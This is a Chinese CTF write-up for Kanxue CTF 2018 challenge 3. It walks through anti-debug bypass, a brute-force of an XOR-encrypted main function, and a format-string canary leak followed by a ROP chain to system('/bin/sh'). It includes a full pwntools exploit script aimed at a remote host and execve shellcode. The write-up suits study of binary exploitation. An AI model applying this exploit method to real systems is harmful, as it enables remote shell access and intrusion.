-
-
[原创]看雪CTF2018 第三题 WP
-
2018-6-21 17:07 2571
-
正确思路
分析
安全防护
# checksec ./wow [*] '/root/work/wow' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE
可以看到开启了NX和Canary
反调试
.text:0000000000400751 test proc near .text:0000000000400751 ; __unwind { .text:0000000000400751 push rbp .text:0000000000400752 mov rbp, rsp .text:0000000000400755 mov rax, 65h .text:000000000040075C mov rcx, 0 .text:0000000000400763 mov rdx, 1 ; addr .text:000000000040076A mov rsi, 0 ; pid .text:0000000000400771 mov rdi, 0 ; request .text:0000000000400778 syscall ; LINUX - sys_ptrace .text:000000000040077A cmp rax, 0 .text:000000000040077E jge short L_K1 .text:0000000000400780 mov rax, 3Ch .text:0000000000400787 mov rdi, 0 ; error_code .text:000000000040078E syscall ; LINUX - sys_exit .text:0000000000400790 .text:0000000000400790 L_K1: ; CODE XREF: test+2D↑j .text:0000000000400790 nop .text:0000000000400791 nop .text:0000000000400792 pop rbp .text:0000000000400793 retn .text:0000000000400793 ; } // starts at 400751 .text:0000000000400793 test endp
其次在test函数中使用ptrace以达到反调试的效果,为了分析方便我们可以将对test函数的调用nop之。
call $+5 pop rax add rax, 7 jmp rax
此外在main函数中也有一些像这样的指令集合,实际执行的时候是顺序执行的,调试时步进即可。
逆向部分(解密密钥)
首先解题的第一关是main函数在0x40087F之后便全部被加了密,程序运行时先将main函数所在的内存段权限改为rwx,然后读取用户输入6个字符,然后就到了第一个解密循环
.text:0000000000400860 xor rcx, rcx .text:0000000000400863 mov dl, [rsi+rcx] ; step 0 .text:0000000000400866 .text:0000000000400866 L1_64: ; CODE XREF: .text:0000000000400878↓j .text:0000000000400866 ; .text:000000000040087D↓j .text:0000000000400866 mov bl, [rax+rcx] .text:0000000000400869 xor bl, dl .text:000000000040086B mov [rax+rcx], bl .text:000000000040086E mov dh, [rax+rcx-1] .text:0000000000400872 inc rcx .text:0000000000400875 cmp dh, 0FBh .text:0000000000400878 jz short L1_64 .text:000000000040087A cmp bl, 90h .text:000000000040087D jnz short L1_64
以用户输入的第一个字符为参数对0x40087F开始的数据逐字节xor,直到满足dh=FB and bl=90为止。
我们可以将要解密的数据复制到Python中进行暴力破解,验证是否满足可以靠pwnlib(capstone)的disasm,只要反编译的结果中没有'byte'或'bad'之类的字符即可认为匹配
for x in range(0x100): r = [] for y in a: r.append(x^y) if len(r) > 2 and r[-1] == 0x90 and r[-2] == 0xfb: break d = disasm(bytes(r)) if 'bad' in d or 'byte' in d: continue print(d) print('{} 0x{:02x}'.format(x, x)) print('\n\n\n')
密钥第一位是'e',解密出来的第一份指令如下
.text:000000000040087F lea rax, [rax+rcx] ; step 1 .text:0000000000400883 sub rax, 80h .text:0000000000400889 xor rcx, rcx .text:000000000040088C .text:000000000040088C loc_40088C: ; CODE XREF: .text:000000000040089B↓j .text:000000000040088C mov bl, [rax+rcx] .text:000000000040088F xor bl, dl .text:0000000000400891 mov [rax+rcx], bl .text:0000000000400894 inc rcx .text:0000000000400897 cmp rcx, 20h .text:000000000040089B jl short loc_40088C .text:000000000040089D add rax, 80h .text:00000000004008A3 xor rcx, rcx .text:00000000004008A6 mov dl, [rsi+rcx] .text:00000000004008A9 inc rsi .text:00000000004008AC xor dl, [rsi+rcx] .text:00000000004008AF .text:00000000004008AF L2_64: ; CODE XREF: .text:00000000004008C1↓j .text:00000000004008AF ; .text:00000000004008C6↓j .text:00000000004008AF mov bl, [rax+rcx] .text:00000000004008B2 xor bl, dl .text:00000000004008B4 mov [rax+rcx], bl .text:00000000004008B7 mov dh, [rax+rcx-1] .text:00000000004008BB inc rcx .text:00000000004008BE cmp dh, 0FBh .text:00000000004008C1 jz short L2_64 .text:00000000004008C3 cmp bl, 90h .text:00000000004008C6 jnz short L2_64 ; v .text:00000000004008C8 nop
之后剩下的几段被加密的部分和这类似,只有最后一份判断条件少了一个。
首先破坏已经执行过的指令,然后密钥的第一位xor第二位得到第二次解密的参数,然后还是逐字节xor。
PWN部分(Get Shell)
同理继续操作即可得到最后的代码
.text:00000000004009FA mov rax, 1 .text:0000000000400A01 mov rdx, 5 .text:0000000000400A08 lea rsi, szCh2 ; "wow!\n" .text:0000000000400A10 mov rdi, rax .text:0000000000400A13 syscall ; LINUX - sys_write .text:0000000000400A15 mov edi, 0 .text:0000000000400A1A call _fflush .text:0000000000400A1F cmp rax, rax .text:0000000000400A22 .text:0000000000400A22 L_J0: .text:0000000000400A22 jnz short near ptr loc_400A33+3 .text:0000000000400A24 nop .text:0000000000400A25 nop .text:0000000000400A26 nop .text:0000000000400A27 nop .text:0000000000400A28 nop .text:0000000000400A29 .text:0000000000400A29 L_J1: .text:0000000000400A29 nop .text:0000000000400A2A nop .text:0000000000400A2B nop .text:0000000000400A2C nop .text:0000000000400A2D nop .text:0000000000400A2E nop .text:0000000000400A2F nop .text:0000000000400A30 xor rax, rax .text:0000000000400A33 .text:0000000000400A33 loc_400A33: ; CODE XREF: .text:L_J0↑j .text:0000000000400A33 mov rdx, 1Ah .text:0000000000400A3A mov rsi, rsp .text:0000000000400A3D mov ds:lpGoble, rsp .text:0000000000400A45 mov rdi, rax .text:0000000000400A48 syscall ; LINUX - sys_read .text:0000000000400A4A mov rax, cs:lpGoble .text:0000000000400A51 mov rdi, rax .text:0000000000400A54 mov eax, 0 .text:0000000000400A59 call _printf .text:0000000000400A5E xor rax, rax .text:0000000000400A61 mov rdx, 200h .text:0000000000400A68 lea rsi, [rsp-20h] .text:0000000000400A6D mov rdi, rax .text:0000000000400A70 syscall ; LINUX - sys_read .text:0000000000400A72 nop .text:0000000000400A73 nop .text:0000000000400A74 nop .text:0000000000400A75 nop .text:0000000000400A76 nop .text:0000000000400A77 nop .text:0000000000400A78 .text:0000000000400A78 L_en: .text:0000000000400A78 nop .text:0000000000400A79 nop .text:0000000000400A7A nop .text:0000000000400A7B nop .text:0000000000400A7C nop .text:0000000000400A7D nop .text:0000000000400A7E nop .text:0000000000400A7F sar rax, 0Ch .text:0000000000400A83 shl rax, 0Ch .text:0000000000400A87 mov rdi, rax .text:0000000000400A8A mov rdx, 5 .text:0000000000400A91 mov rax, 0Ah .text:0000000000400A98 mov rsi, 1000h .text:0000000000400A9F syscall ; LINUX - sys_mprotect .text:0000000000400AA1 mov eax, 0 .text:0000000000400AA6 mov rdx, [rbp-8] .text:0000000000400AAA xor rdx, fs:28h .text:0000000000400AB3 jz short locret_400ABA .text:0000000000400AB5 call ___stack_chk_fail .text:0000000000400ABA ; --------------------------------------------------------------------------- .text:0000000000400ABA .text:0000000000400ABA locret_400ABA: ; CODE XREF: .text:0000000000400AB3↑j .text:0000000000400ABA leave .text:0000000000400ABB retn
(这里将call +5; pop rax; add rax; jmp rax nop掉了,使得sys_mprotect调用时addr参数为0,不过问题不大)
最后的代码先后做了一下操作:输出wow,清空缓冲,读取26字符,将读取的字符串直接printf,再读取0x200字符,恢复内存权限,栈检查和ret。
这儿明显有格式化字符串漏洞和栈溢出,然而格式化字符串漏洞的格式控制字符长度不够(写入四个字节就需要大约60个格式控制字符),程序开启了Canary,不能直接栈溢出。正确的做法是用格式化字符串读取Canary然后栈溢出。
开始攻击之前先要得到system函数的偏移量,这儿我用了格式化字符串读取了puts和setbuf函数的地址,用通过Libc-database得到了服务器上libc为libc6_2.23-0ubuntu10_amd64
# ROPgadget --binary ./wow --only "pop|ret" | grep rdi 0x0000000000400b23 : pop rdi ; ret
直到版本之后即可发动攻击,先利用格式化字符串得到栈地址和任意一个libc函数地址,然后ROP拼凑出system("/bin/sh\x00")即可GetShell
完事具备,只差脚本
from pwn import * context.arch = 'amd64' #context.log_level = 'debug' #p = process('./wo') p = remote('139.199.99.130', 65188) libc= ELF('/root/libc-database/db/libc6_2.23-0ubuntu10_amd64.so') #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p.send('evXnaK') p.recvuntil('wow!\n') p.sendline(b'%13$p %8$s %1$p\x00' + p64(0x601018)) data = p.recv() addrs = data.split(b' ') canary = int(addrs[0], 16) puts = u64(addrs[1].ljust(8, b'\x00')) stack = int(addrs[2], 16) system = puts - libc.symbols[b'puts'] + libc.symbols[b'system'] sc = b'D'*88 sc += p64(canary) sc += p64(0) sc += p64(0x0000000000400b23) sc += p64(stack + 0x60) sc += p64(system) sc += b'/bin/sh\x00' p.sendline(sc) # input() p.interactive()
错误思路吐槽时间
这题做的我感觉自己是智障。。。
虽然开启了NX,但是main函数最后有mprotect调用,可以将将内存权限改为r-x,巧妙的ROP绕过两次栈检测、将栈地址加上执行权限,最后ret到栈上就可以轻松Exec(/bin/sh)了,然后我就把一上午的时间浪费在这个思路上了。
首先遇到的第一个坑是mprotect调用的地址参数要4K对齐,调整之后又发现shellcraft.sh()给出的shellcode不能用
/* push b'/bin///sh\x00' */ push 0x68 mov rax, 0x732f2f2f6e69622f push rax /* call execve('rsp', 0, 0) */ push (SYS_execve) /* 0x3b */ pop rax mov rdi, rsp xor esi, esi /* 0 */ cdq /* rdx=0 */ syscall
由于此时栈地址已经没有写权限,所以push指令会出错,自己写了一份shellcode终于本地测试成功,但是远程攻击又失败了
程序最开始调用了ptrace,这样程序在调用sys_execve时会通知父进程处理,我为了调试方便把ptrace nop了。。。
也不知道出题人调用ptrace有没有考虑去屏蔽sys_execve。
然后把syscall的方案改成了计算system地址然后直接call,又发现栈没写权限连call也不能执行、system函数肯定也用栈,更不行。。。
吃午饭的时候才想到干嘛要这么麻烦,直接ROP不就行了吗,瞬间感觉自己智障。
总结
挺有趣的一道题,还好没牵扯heap,不然边学边做也来不及。接下来就要忙起来了,不知道还能再做出多少题。
附件里是跳过解密部分的程序
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法